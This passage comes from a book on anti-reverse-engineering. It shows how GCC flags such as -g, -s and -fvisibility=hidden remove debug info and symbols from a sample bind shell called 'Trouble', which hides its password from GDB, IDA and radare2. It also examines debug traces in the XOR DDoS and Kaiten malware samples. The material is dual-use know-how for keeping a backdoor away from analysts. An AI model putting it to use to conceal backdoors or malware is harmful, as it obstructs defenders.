Now look at the same chunk of code in C.

https://www.hex-rays.com/products/ida/

; CODE XREF: main+177

rax, [rbp+password_input]
rdi, rax
; p_password
check_password
al, al
short loc_400DDD
eax, [rbp+client_sock]
edi, eax
; fd
_close
eax, 1
short loc_400E47

Chapter 2: Compiler Options

check_password() call in C
if (check_password(password_input))
{
close(client_sock);
return EXIT_FAILURE;
}

Notice that password_input and client_sock appear in the disassembly and the C
code? Also, p_password, which is the name check_password() uses for its only parameter, appears in the disassembly. IDA has parsed .debug_infos DWARF information
and enriched the disassembly with these easier to understand variable names. As a
reverse engineer this can be really useful since many programmers use contextual
variable names (ie. password_input is where the user submitted password is stored).

Removing the Debugging Information

I hope Ive convinced you that we cant give reverse engineers access to debugging information. Fortunately, removing debugging information is trivial. You simply dont
provide the -g option in compile flags. This will prevent the various .debug_ sections
from being generated. Which also means that GDB and IDA wont receive the extra
variable information to enrich their analysis.
For instance, without -g a GDB user wont be able to print s_password using print
as was done earlier in this section. Unfortunately, that doesnt mean a reverse
engineer cant get GDB to print it using other means, but well worry more about
that later.

Chapter 2: Compiler Options

Using GDB to print s_password without debugging information

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ gdb ./trouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x400c33
Starting program: /home/albino-lobster/antire_book/chap_2_compiler/trouble/build/trou\
ble
Temporary breakpoint 1, 0x0000000000400c33 in main ()
(gdb) print s_password
$1 = 1364801095
(gdb) x /s &s_password
0x400f00 <s_password>:
"TGOEu26TW0k1b9IeXjUJbT1GfCR0jSnl"
(gdb)

Finally, consider how the disassembly around the check_password() call looks
without the debugging information.

Chapter 2: Compiler Options

Viewing the check_password() call in IDA without debugging information

.text:0000000000400DBC loc_400DBC:
.text:0000000000400DBC
.text:0000000000400DC0
.text:0000000000400DC3
.text:0000000000400DC8
.text:0000000000400DCA
.text:0000000000400DCC
.text:0000000000400DCF
.text:0000000000400DD1
.text:0000000000400DD6
.text:0000000000400DDB

lea
mov
call
test
jz
mov
mov
call
mov
jmp

; CODE XREF: main+177j

rax, [rbp+buf]
rdi, rax
check_password
al, al
short loc_400DDD
eax, [rbp+var_5C]
edi, eax
; fd
_close
eax, 1
short loc_400E47

This chunk of disassembly isnt hard to understand, but it was even easier when the
variable names were present!

Case Study: XOR DDOS

Using and removing debugging information is a beginners topic, but I think its
important to know. You may be thinking, No one worried about reverse engineers
would ship their binary with debugging information! However, I can assure you
they do.
Take for example, this XOR DDOS malware.

Malware
Be careful when downloading and analyzing malware

As noted in the analysis by MalwareMustDie, this malware encrypts/decrypts

configuration files, packets, and remote strings using an XOR encryption scheme.
However, just by looking at the sections table in the VirusTotal link, you and I know
that debugging information is present. That makes this binary an excellent toy for
beginner reverse engineers to play with.
Remember that I mentioned debugging information can be useful for attibution?
https://malwr.com/analysis/YmM4YjI5MTVjYThiNDA0NDkzM2RkZTU5NDVlMWIyMzI/
https://www.virustotal.com/en/file/a1c324d6b4b7f2726eac1599ca457f93eb56059511741c9e79468a6df50629ba/analysis/
http://blog.malwaremustdie.org/2015/06/mmd-0033-2015-linuxxorddos-infection_23.html

Chapter 2: Compiler Options

Viewing XOR DDOSs .debug_info

albino-lobster@ubuntu:~$ objdump --dwarf=info ./a1c324d6b4b7f2726eac1599ca457f93eb560\
59511741c9e79468a6df50629ba.bin
./a1c324d6b4b7f2726eac1599ca457f93eb56059511741c9e79468a6df50629ba.bin:
at elf32-i386

file form\

Contents of the .debug_info section:

Compilation Unit @ offset 0x0:
Length:
0xc41 (32-bit)
Version:
2
Abbrev Offset: 0x0
Pointer Size: 4
<0><b>: Abbrev Number: 1 (DW_TAG_compile_unit)
<c>
DW_AT_stmt_list
: 0x0
<10>
DW_AT_high_pc
: 0x8049252
<14>
DW_AT_low_pc
: 0x8048228
<18>
DW_AT_producer
: GNU C 4.1.2 20080704 (Red Hat 4.1.2-48)
<40>
DW_AT_language
: 1
(ANSI C)
<41>
DW_AT_name
: autorun.c
<4b>
DW_AT_comp_dir
: /home/xingwei/Desktop/ddos

The compilation directory points to /home/xingwei/Desktop/ddos. Googling or

searching Github for /home/xingwei does yield other results. Does this help reveal
the author of this malware? Maybe. Attribution is hard, but this provides a good lead.

-s
In the previous section you removed the -g flag from Troubles compiler options.
In this section, youll add the -s flag. The -s option stands for strip and GCCs
documentation says this flag will cause the compiler to remove all symbol table
and relocation information from the executable.
To introduce the -s compiler option to Trouble update the compiler options in the
chap_2_compiler/trouble/CMakeLists.txt file.
https://gcc.gnu.org/onlinedocs/gcc/Link-Options.html#Link-Options

Chapter 2: Compiler Options

set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -s -std=gnu11")

SYMTAB vs. DYNSYM

As mentioned in the GCC documentation, -s will strip away the symbol table. What
does that mean for Trouble? To understand exactly what gets removed lets dump
the symbol tables of an unstripped Trouble using readelf.
Troubles symbol tables before being stripped
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ readelf --syms ./t\
rouble
Symbol table '.dynsym' contains 35 entries:
Num:
Value
Size Type
Bind
0: 0000000000000000
0 NOTYPE LOCAL
1: 0000000000000000
0 NOTYPE WEAK
0 FUNC
GLOBAL
2: 0000000000000000
(2)
3: 0000000000000000
0 FUNC
GLOBAL
4: 0000000000000000
0 FUNC
GLOBAL
5: 0000000000000000
0 FUNC
GLOBAL
6: 0000000000000000
0 FUNC
GLOBAL
7: 0000000000000000
0 FUNC
GLOBAL
8: 0000000000000000
0 FUNC
GLOBAL
2.5 (3)
9: 0000000000000000
0 FUNC
GLOBAL
10: 0000000000000000
0 FUNC
GLOBAL
11: 0000000000000000
0 NOTYPE WEAK
12: 0000000000000000
0 FUNC
GLOBAL
13: 0000000000000000
0 FUNC
GLOBAL
14: 0000000000000000
0 FUNC
GLOBAL
15: 0000000000000000
0 NOTYPE WEAK
16: 0000000000000000
0 FUNC
GLOBAL
17: 0000000000000000
0 FUNC
GLOBAL
18: 0000000000000000
0 NOTYPE WEAK
19: 0000000000000000
0 FUNC
GLOBAL
20: 0000000000000000
0 FUNC
GLOBAL
21: 00000000006020a8
0 NOTYPE GLOBAL
22: 0000000000602098
0 NOTYPE GLOBAL
23: 00000000006020d0
0 NOTYPE GLOBAL

Vis
DEFAULT
DEFAULT
DEFAULT

Ndx Name
UND
UND _ITM_deregisterTMCloneTab
UND __stack_chk_fail@GLIBC_2.4\

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

UND
UND
UND
UND
UND
UND

htons@GLIBC_2.2.5 (3)
dup2@GLIBC_2.2.5 (3)
htonl@GLIBC_2.2.5 (3)
close@GLIBC_2.2.5 (3)
read@GLIBC_2.2.5 (3)
__libc_start_main@GLIBC_2.\

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
25
25
26

Chapter 2: Compiler Options

24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:

0000000000400c06
0000000000602098
0000000000400ee0
0000000000400e60
0000000000400b10
00000000006020a8
0000000000400c2f
00000000004009d0
00000000006020c0
0000000000400ed0
0000000000400ed4

41
0
4
101
42
0
558
0
8
2
0

FUNC
NOTYPE
OBJECT
FUNC
FUNC
NOTYPE
FUNC
FUNC
OBJECT
FUNC
FUNC

GLOBAL
WEAK
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL

Symbol table '.symtab' contains 84 entries:

Num:
Value
Size Type
Bind
0: 0000000000000000
0 NOTYPE LOCAL
1: 0000000000400238
0 SECTION LOCAL
2: 0000000000400254
0 SECTION LOCAL
3: 0000000000400274
0 SECTION LOCAL
4: 0000000000400298
0 SECTION LOCAL
5: 0000000000400300
0 SECTION LOCAL
6: 0000000000400648
0 SECTION LOCAL
7: 00000000004007a6
0 SECTION LOCAL
8: 00000000004007f0
0 SECTION LOCAL
9: 0000000000400820
0 SECTION LOCAL
10: 0000000000400850
0 SECTION LOCAL
11: 00000000004009d0
0 SECTION LOCAL
12: 00000000004009f0
0 SECTION LOCAL
13: 0000000000400b00
0 SECTION LOCAL
14: 0000000000400b10
0 SECTION LOCAL
15: 0000000000400ed4
0 SECTION LOCAL
16: 0000000000400ee0
0 SECTION LOCAL
17: 0000000000400f80
0 SECTION LOCAL
18: 0000000000400fc0
0 SECTION LOCAL
19: 0000000000601e10
0 SECTION LOCAL
20: 0000000000601e18
0 SECTION LOCAL
21: 0000000000601e20
0 SECTION LOCAL
22: 0000000000601e28
0 SECTION LOCAL
23: 0000000000601ff8
0 SECTION LOCAL
24: 0000000000602000
0 SECTION LOCAL
25: 0000000000602098
0 SECTION LOCAL
26: 00000000006020c0
0 SECTION LOCAL
27: 0000000000000000
0 SECTION LOCAL
28: 0000000000000000
0 FILE
LOCAL

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

Vis
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

14
25
16
14
14
26
14
11
26
14
15

check_password
data_start
_IO_stdin_used
__libc_csu_init
_start
__bss_start
main
_init
stderr@GLIBC_2.2.5 (3)
__libc_csu_fini
_fini

Ndx Name
UND
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ABS crtstuff.c

Chapter 2: Compiler Options

29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:

0000000000601e20
0000000000400b40
0000000000400b80
0000000000400bc0
00000000006020c8
0000000000601e18
0000000000400be0
0000000000601e10
0000000000000000
0000000000400f00
0000000000000000
00000000004010d0
0000000000601e20
0000000000000000
0000000000601e18
00000000006020a0
0000000000601e28
0000000000601e10
0000000000400f80
00000000006020a8
0000000000602000
0000000000400ed0
0000000000000000
0000000000602098
00000000006020a8
0000000000400ed4
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000602098
0000000000000000
0000000000400ee0
0000000000400e60
0000000000000000
00000000006020d0
0000000000400b10
00000000006020a8

0
0
0
0
1
0
0
0
0
33
0
0
0
0
0
0
0
0
0
0
0
2
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
4
101
0
0
42
0

OBJECT
FUNC
FUNC
FUNC
OBJECT
OBJECT
FUNC
OBJECT
FILE
OBJECT
FILE
OBJECT
OBJECT
FILE
NOTYPE
OBJECT
OBJECT
NOTYPE
NOTYPE
OBJECT
OBJECT
FUNC
NOTYPE
NOTYPE
NOTYPE
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
NOTYPE
NOTYPE
OBJECT
FUNC
FUNC
NOTYPE
FUNC
NOTYPE

LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
LOCAL
GLOBAL
WEAK
WEAK
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
WEAK
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

21
14
14
14
26
20
14
19
ABS
16
ABS
18
21
ABS
19
25
22
19
17
25
24
14
UND
25
25
15
UND
UND
UND
UND
UND
UND
UND
UND
UND
25
UND
16
14
UND
26
14
26

__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.7585
__do_global_dtors_aux_fin
frame_dummy
__frame_dummy_init_array_
trouble.c
s_password
crtstuff.c
__FRAME_END__
__JCR_END__
__init_array_end
__dso_handle
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
__TMC_END__
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTab
data_start
_edata
_fini
__stack_chk_fail@@GLIBC_2
htons@@GLIBC_2.2.5
dup2@@GLIBC_2.2.5
htonl@@GLIBC_2.2.5
close@@GLIBC_2.2.5
read@@GLIBC_2.2.5
__libc_start_main@@GLIBC_
memcmp@@GLIBC_2.2.5
execve@@GLIBC_2.2.5
__data_start
__gmon_start__
_IO_stdin_used
__libc_csu_init
listen@@GLIBC_2.2.5
_end
_start
__bss_start

Chapter 2: Compiler Options

72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:

0000000000400c2f
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000400c06
0000000000000000
0000000000000000
00000000004009d0
0000000000000000
00000000006020c0
0000000000000000

558
0
0
0
0
41
0
0
0
0
8
0

FUNC
FUNC
FUNC
NOTYPE
FUNC
FUNC
FUNC
NOTYPE
FUNC
FUNC
OBJECT
FUNC

GLOBAL
GLOBAL
GLOBAL
WEAK
GLOBAL
GLOBAL
GLOBAL
WEAK
GLOBAL
GLOBAL
GLOBAL
GLOBAL

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

14
UND
UND
UND
UND
14
UND
UND
11
UND
26
UND

main
bind@@GLIBC_2.2.5
perror@@GLIBC_2.2.5
_Jv_RegisterClasses
accept@@GLIBC_2.2.5
check_password
fwrite@@GLIBC_2.2.5
_ITM_registerTMCloneTable
_init
fork@@GLIBC_2.2.5
stderr@@GLIBC_2.2.5
socket@@GLIBC_2.2.5

In the output above, you should see two symbol tables: .dynsym (dynamic symbol
table) and .symtab (symbol table). A keen observer would notice two things about
these tables:
1. The .symtab contains many of the symbols found in .dynsym.
2. They .symtab has many LOCAL symbols that .dynsym does not.
These are the first hints as to how these tables are different. Lets look at their section
descriptions. Note that Ive truncated the output for easier comparison of the two
sections.
Comparing .dynsym and .symtab
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ readelf -S ./troub\
le
Section Headers:
[Nr] Name
Type
Address
Offset
Size
EntSize
Flags Link Info Align
[ 5] .dynsym
DYNSYM
0000000000400300 00000300
0000000000000348 0000000000000018
A
6
1
8
[29] .symtab
SYMTAB
0000000000000000 000020e0
00000000000007e0 0000000000000018
30
50
8
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

Chapter 2: Compiler Options

Focus on the flags column in the output above. The .dynsym section has the A
flag where .symtab has no flags. The A flag means that .dynsym will be loaded into
memory when the program is started. Lacking the A flag means that .symtab is not
loaded into memory and is therefore not necessary to execute the program. You can
safely remove the entire .symtab from the binary.

Finding the Bind Shell Password Using .symtab

Why would you want to strip away the .symtab? Look at the readelf syms output
above and you should see this line:
38: 0000000000400f00

33 OBJECT

LOCAL

DEFAULT

16 s_password

Even though youve excluded the debugging information from Trouble the symbol
table makes finding and extracting the password trivial. You can use hexdump again.
Printing s_password with hexdump (again)
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ hexdump -C -s 0xf0\
0 -n 64 ./trouble
00000f00 54 47 4f 45 75 32 36 54 57 30 6b 31 62 39 49 65 |TGOEu26TW0k1b9Ie|
00000f10 58 6a 55 4a 62 54 31 47 66 43 52 30 6a 53 6e 6c |XjUJbT1GfCR0jSnl|
00000f20 00 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 |.Failed to creat|
00000f30 65 20 74 68 65 20 73 6f 63 6b 65 74 2e 00 42 69 |e the socket..Bi|

Case Study: The FILE Symbol

One of the other things you included in the symbol table is the FILE symbol. For
example:
37: 0000000000000000

0 FILE

LOCAL

DEFAULT

ABS trouble.c

This can be really useful for a reverse engineer. If you can take this information
straight to Google, GitHub, etc. and find the source code of the binary you are
reversing then life has just become so much easier.

Chapter 2: Compiler Options

Consider this malware sample.

Examine the symbol table in the sample and youll find one of the first entries is a
FILE symbol.
First entries in Kaitens SYMTAB
albino-lobster@ubuntu:~$ readelf --sym ./0e9f8d883f76557efebde8318a0f570a7ad32336b458\
d701968f84f142846895.bin
Symbol table '.symtab' contains 116 entries:
Num:
Value
Size Type
Bind
0: 0000000000000000
0 NOTYPE LOCAL
1: 0000000000000000
0 FILE
LOCAL
0 SECTION LOCAL
2: 0000000000000000
3: 0000000000000000
0 SECTION LOCAL

Vis
DEFAULT
DEFAULT
DEFAULT
DEFAULT

Ndx Name
UND
ABS kaiten.c
1
3

The FILE symbol points to kaiten.c. If you plug that name into Google, youll find
the source code for numerous versions of a fairly old denial of service IRC bot called
Kaiten.

Examing Trouble After -s

As mentioned at the beginning of this section, to strip away the SYMTAB you just
need to add -s to the compiler flags.

Stripping Binaries
Using the -s flag is not the only way to strip a binary. We will discuss
other methods later on in the File Format Hacks Chapter

Recompile Trouble after adding -s and try looking at the symbols.

https://malwr.com/analysis/NzU1NWFhMjRlYTRkNDFkNGJlMzU1NDBmNGJjOGE0ZTY/
https://www.virustotal.com/en/file/0e9f8d883f76557efebde8318a0f570a7ad32336b458d701968f84f142846895/analysis/

1477747547/
https://packetstormsecurity.com/files/25575/kaiten.c.html

Chapter 2: Compiler Options

Trouble after -s
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ readelf --sym ./tr\
ouble
Symbol table '.dynsym' contains 35 entries:
Num:
Value
Size Type
Bind
0: 0000000000000000
0 NOTYPE LOCAL
1: 0000000000000000
0 NOTYPE WEAK
2: 0000000000000000
0 FUNC
GLOBAL
(2)
3: 0000000000000000
0 FUNC
GLOBAL
4: 0000000000000000
0 FUNC
GLOBAL
5: 0000000000000000
0 FUNC
GLOBAL
6: 0000000000000000
0 FUNC
GLOBAL
7: 0000000000000000
0 FUNC
GLOBAL
8: 0000000000000000
0 FUNC
GLOBAL
2.5 (3)
9: 0000000000000000
0 FUNC
GLOBAL
10: 0000000000000000
0 FUNC
GLOBAL
11: 0000000000000000
0 NOTYPE WEAK
12: 0000000000000000
0 FUNC
GLOBAL
13: 0000000000000000
0 FUNC
GLOBAL
14: 0000000000000000
0 FUNC
GLOBAL
15: 0000000000000000
0 NOTYPE WEAK
16: 0000000000000000
0 FUNC
GLOBAL
17: 0000000000000000
0 FUNC
GLOBAL
18: 0000000000000000
0 NOTYPE WEAK
19: 0000000000000000
0 FUNC
GLOBAL
20: 0000000000000000
0 FUNC
GLOBAL
21: 00000000006020a8
0 NOTYPE GLOBAL
22: 0000000000602098
0 NOTYPE GLOBAL
23: 00000000006020d0
0 NOTYPE GLOBAL
24: 0000000000400c06
41 FUNC
GLOBAL
25: 0000000000602098
0 NOTYPE WEAK
26: 0000000000400ee0
4 OBJECT GLOBAL
27: 0000000000400e60
101 FUNC
GLOBAL
28: 0000000000400b10
42 FUNC
GLOBAL
29: 00000000006020a8
0 NOTYPE GLOBAL
30: 0000000000400c2f
558 FUNC
GLOBAL
31: 00000000004009d0
0 FUNC
GLOBAL
32: 00000000006020c0
8 OBJECT GLOBAL
33: 0000000000400ed0
2 FUNC
GLOBAL

Vis
DEFAULT
DEFAULT
DEFAULT

Ndx Name
UND
UND _ITM_deregisterTMCloneTab
UND __stack_chk_fail@GLIBC_2.4\

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

UND
UND
UND
UND
UND
UND

htons@GLIBC_2.2.5 (3)
dup2@GLIBC_2.2.5 (3)
htonl@GLIBC_2.2.5 (3)
close@GLIBC_2.2.5 (3)
read@GLIBC_2.2.5 (3)
__libc_start_main@GLIBC_2.\

DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
UND
25
25
26
14
25
16
14
14
26
14
11
26
14

memcmp@GLIBC_2.2.5 (3)
execve@GLIBC_2.2.5 (3)
__gmon_start__
listen@GLIBC_2.2.5 (3)
bind@GLIBC_2.2.5 (3)
perror@GLIBC_2.2.5 (3)
_Jv_RegisterClasses
accept@GLIBC_2.2.5 (3)
fwrite@GLIBC_2.2.5 (3)
_ITM_registerTMCloneTable
fork@GLIBC_2.2.5 (3)
socket@GLIBC_2.2.5 (3)
_edata
__data_start
_end
check_password
data_start
_IO_stdin_used
__libc_csu_init
_start
__bss_start
main
_init
stderr@GLIBC_2.2.5 (3)
__libc_csu_fini

Chapter 2: Compiler Options

34: 0000000000400ed4

0 FUNC

GLOBAL DEFAULT

15 _fini

As you can see the entire .symtab is now gone. Not only does this make the binary
smaller but it also has disabled easy access to s_password and removed the string
trouble.c from the binary altogether.

-fvisibility
Looking at FUNC symbols
In the previous section, you removed the .symtab in order to deny a reverse engineer
useful data. However, if you look at the .dynsym youll still find useful information.
Specifically these two symbols:
24: 0000000000400c06
30: 0000000000400c2f

41 FUNC
558 FUNC

GLOBAL DEFAULT
GLOBAL DEFAULT

14 check_password
14 main

These are FUNC symbols that are associted with the main() and check_password()
functions in Trouble. The .dynsym provides both the starting address of the function
as well as its size. These are really useful pieces of information for a dissasembler!
For example, looking at the check_password() function that check_password points
at in Radare2 you can easily find the password.
Radare2s view of check_password()
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ radare2 ./trouble
-- Execute commands on a temporary offset by appending '@ offset' to your command.
[0x00400b10]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400b10]> pdf @ sym.check_password
/ (fcn) sym.check_password 41
|
sym.check_password ();

Chapter 2: Compiler Options

In case you missed it, at 0x400c1e you can see the the contents of s_password listed
as str.TGOEu26TW0k1b9IeXjUJbT1GfCR0jSnl.

Hiding FUNC symbols

As you can see from the above, the password for the bind shell is easily retrievable.
However, you can use a GCC compile flag to remove the check_password symbol
and prevent a reverse engineer from, yet again, easily dumping the password. The
GCC flag is -fvisibility=hidden and when you add it to Troubles compiler options
it should look like this:
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -s -fvisibility=hidden -std=gnu11")

Using -fvisibility=hidden will, by default, hide all possible symbols. That means
that check_password() would be hidden in the chapter two version of Trouble.

Static functions
We also could have hidden the check_password symbol by using the static
keyword in the function definition. In fact, if a function is not going to be
used outside of the file (or translation unit) it is considered best practice
to make the function static.
https://gcc.gnu.org/onlinedocs/gcc-4.6.0/gcc/Code-Gen-Options.html

Chapter 2: Compiler Options

If you recompile Trouble after adding the visibility flag and look at .dynsym with
readelf then youll see that both main() and check_password() are no longer present.
Removing main() from Troubles DYNSYM has the interesting side affect that GDB
no longer will be able to break at main().
GDB waiting for main
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ gdb ./trouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble...(no debugging symbols found)...done.
(gdb) start
Function "main" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Temporary breakpoint 1 (main) pending.
Starting program: /home/albino-lobster/antire_book/chap_2_compiler/trouble/build/trou\
ble

Also, Radare2 wont be able to provide us easy access to check_password().

Chapter 2: Compiler Options

Radare2 no check_password()
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ radare2 ./trouble
-- Now featuring NoSQL!
[0x00400ad0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400ad0]> pdf @ sym.check_password
Invalid address (sym.check_password)
[0x00400ad0]> pdf @ sym.main
Invalid address (sym.main)

Also, Radare2 wont work with sym.main, but it is clever enough to find main() based
on the ELF entry stub. By using the command pdf @ main in Radare2 you can view
the main() and also find where check_password() is eventually called. Look at how
the call to check_password() has changed due to the use of -fvisibility=hidden.
Radare2: Call to check_password without -fvisibility=hidden
|
|
|
|
|
|

|||||||
|`------>
| |||||
| |||||
| |||||
|,======<

; JMP XREF from 0x00400da6 (sym.main)

0x00400dbc
488d45d0
lea rax, [rbp - local_30h]
0x00400dc0
4889c7
mov rdi, rax
0x00400dc3
e83efeffff
call sym.check_password
0x00400dc8
84c0
test al, al
0x00400dca
7411
je 0x400ddd

Chapter 2: Compiler Options

Radare2: Call to check_password with -fvisibility=hidden

|
|
|
|
|
|

|||||||
|`------>
| |||||
| |||||
| |||||
|,======<

; JMP XREF from 0x00400d66 (main)

0x00400d7c
488d45d0
lea rax, [rbp - local_30h]
0x00400d80
4889c7
mov rdi, rax
0x00400d83
e83efeffff
call sub.memcmp_bc6
0x00400d88
84c0
test al, al
0x00400d8a
7411
je 0x400d9d

Notice in the before disassembly the binary clearly makes a call to sym.check_password whereas the after disassembly makes a call to sub.memcmp_bc6 (an autogenerated function name). Contrast that to Hopper which outputs the address of
check_password().
Call to check_password() with -fvisibility=hidden as seen by Hopper
0000000000400d7c
0000000000400d80
0000000000400d83
0000000000400d88
0000000000400d8a

lea
mov
call
test
je

rax, qword [ss:rbp+var_30]

rdi, rax
sub_400bc6
al, al
0x400d9d

; XREF=sub_400bef+375
; argument #1

Many reverse engineers rely on these function names to provide additional context
to the binary. Without the additional context the reverse engineer is left to figure it
out for themselves.

-O
An often overlooked subject is that of optimization. You control the many ways that
the compiler tries to improve the performance or size of your program through the
optimization flags. There are many flags, so its helpful that GCC has combined
many of them under various -O flags. While there are more -O flags, I believe
the following four are the most useful:
https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html

Chapter 2: Compiler Options

1. -O1: With -O, the compiler tries to reduce code size and execution time,
without performing any optimizations that take a great deal of compilation
time.
2. -O2: Optimize even more. GCC performs nearly all supported optimizations
that do not involve a space-speed tradeoff.
3. -O3: All optimizations in -O2 plus a handful of others.
4. -Os: All -O2 optimizations that do not typically increase code size. It also
performs further optimizations designed to reduce code size.

Writing good code

One of the problems with optimizations is that they can break poorly
written programs. I think optimization levels arent often discussed or
even fully understood by programmers because so many write such
shoddy code they couldnt use optimizations even if they wanted to.
If youre going to write code then do it well. Use -Wall and -Wextra when
compiling. Use CPPCheck to do static analysis. Use Valgrind to do
runtime analysis. These things are the bare minimum to write quality C
or C++ code, but Ive rarely seen security professionals use any of these
tools.

Corrected Block Tiny Encryption Algorithm (XXTEA)

For this section, and this section only, you wont be working with the Trouble bind
